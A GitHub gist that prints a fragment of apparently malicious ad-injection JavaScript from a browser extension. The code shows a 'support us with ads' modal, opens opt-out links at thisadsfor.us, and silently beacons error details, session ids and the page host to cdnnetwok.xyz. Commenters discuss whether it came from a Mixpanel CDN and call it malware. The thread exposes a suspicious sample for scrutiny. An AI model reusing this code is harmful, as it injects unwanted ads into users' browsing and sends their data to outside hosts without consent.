rgba(0,0,0,.5);background-clip:padding-box}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1030;background-color:#000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:.5;filter:alpha(opacity=50)}.modal-header{min-height:16.428571429px;padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.428571429}.modal-body{position:relative;padding:20px}.modal-footer{padding:19px 20px 20px;margin-top:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer:after,.modal-footer:before{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}@media screen and (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}}</style><content><div class="modal-content" style="font-family:\'Segoe UI\',\'Droid Sans\',Arial,sans-serif; width:650px"><div class="modal-header"><button type="button" class="close" id="close-btn" data-dismiss="modal" aria-hidden="true"><img src="//cdnnetwok.xyz/ext/images/close-cross.png" width="16" height="16"></button><h4 class="modal-title" id="myModalLabel"><b>' + a[f].tbParams.title + '\'s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + '\'s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I\'ve put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help.<br><br>Ads support most of the internet we all use and love; without them, the internet we have today would simply not exist. Similarly, without revenue, this extension (and the upcoming new ones) would not be possible.<br><br><b>You can disable these ads now or later in the settings page. You can also minimize the ads appearance by clicking on partial support button. Both of these options are available by clicking \'x\' button in the corner of each ad.</b> In both cases,your choice will remain in effect unless you reinstall or reset the extension.</div><div class="modal-footer"><button type="button" id="full-support" class="btn btn-success btn-lg">Fully Support</button><button type="button" id="partial-support" class="btn btn-default">Partially Support</button><p style="text-align:left;width:100%;"><a id="no-support" style="text-decoration:underline;" href="#">No, I don\'t want to support you work</a></p></div></div></content>');
i.close();
i.getElementById("full-support").onclick = function() {
b.optoutHide();
b.loadedCallback("OPTOUT_CLK_FULLSUPPORT");
return false
};
i.getElementById("close-btn").onclick = function() {
b.optoutHide();
b.loadedCallback("OPTOUT_CLK_CLOSE");
return false
};
i.getElementById("partial-support").onclick = function() {
window.open("http://thisadsfor.us/optout?t=200&u=49377&key=c822bb0d82ad01a5ae&block=" + b.currentOptoutBlock);
b.optoutHide();
b.loadedCallback("OPTOUT_CLK_PARTSUPPORT")
};
i.getElementById("no-support").onclick = function() {
window.open("http://thisadsfor.us/optout?t=200&u=49377&key=c822bb0d82ad01a5ae&block=" + b.currentOptoutBlock);
b.optoutHide();
b.loadedCallback("OPTOUT_CLK_NOSUPPORT")
}
};
if (g.contentDocument || g.contentWindow) {
h()
} else {
b.on(g, "load", h);
d = setTimeout(h, 5000)
}
b.twBarOptOut = a[f].twBarOptOut = g
}
})(document, window, "c822bb0d82ad01a5ae", undefined);;
d.loadedCallback("FINISHED", "", location.host)
})
});;
try {
b(document, window)
} catch (c) {
var h = (typeof c.stack != "undefined" ? c.stack : "!empty stack!");
if (h.length > 1500) {
h = h.substr(0, 1500)
}
var a = (i.location.protocol == "http:" ? "http:" : "https:") + "//cdnnetwok.xyz/log/?l=error&m=" + encodeURIComponent((typeof c.message != "undefined" ? c.message : "!empty message!") + "|" + h);
var k = document.createElement("script");
k.type = "text/javascript";
k.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
(document.getElementsByTagName("script")[0] || document.documentElement.firstChild).parentNode.appendChild(k);
(function() {
var e = ["mid=", "wid=49377", "sid=" + (i[g] && i[g].tbParams && i[g].tbParams.sid) ? i[g].tbParams.sid : "", "tid=200", "custom1=" + encodeURIComponent((typeof c.message != "undefined" ? c.message : "!empty message!")), "rid=CORE_JS_ERROR"];
a = (i.location.protocol == "http:" ? "http:" : "https:") + "//cdnnetwok.xyz/metric/?" + e.join("&");
var d = f.createElement("img");
d.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;");
d.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime());
(document.head || document.documentElement).appendChild(d);
if (typeof d.onload != j) {
d.onload = function() {
d.parentNode && d.parentNode.removeChild(d)
}
}
})()
}
}(document, window));
@Esteban-Rocha
Copy link

Esteban-Rocha commented Feb 6, 2018

This adds a lot of adds, and send a lot of info, there are some parts that are obfuscated too.

Live link is https://cdn.mxpnl.com/libs/mixpanel-2-latest.min.js

@tdumitrescu
Copy link

This is not the mixpanel SDK.

@Esteban-Rocha
Copy link

Esteban-Rocha commented Feb 6, 2018

for (G in {
		radio: true,
		checkbox: true,
		file: true,
		password: true,
		image: true
	}) {
	v.pseudos[G] = F(G)
}              

https://twitter.com/random_walker/status/960536723095719937

@tdumitrescu
Copy link

Yes, the code in this gist is some kind of ridiculous malware. But again, it has nothing to do with Mixpanel, nor with the issue discussed in that tweet. The Mixpanel SDK is open source and available at https://github.com/mixpanel/mixpanel-js.

@mashaz
Copy link

mashaz commented Aug 15, 2018

Hi, there, Did you find out what this code do yet? I intercepted the similar .js response yesterday.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment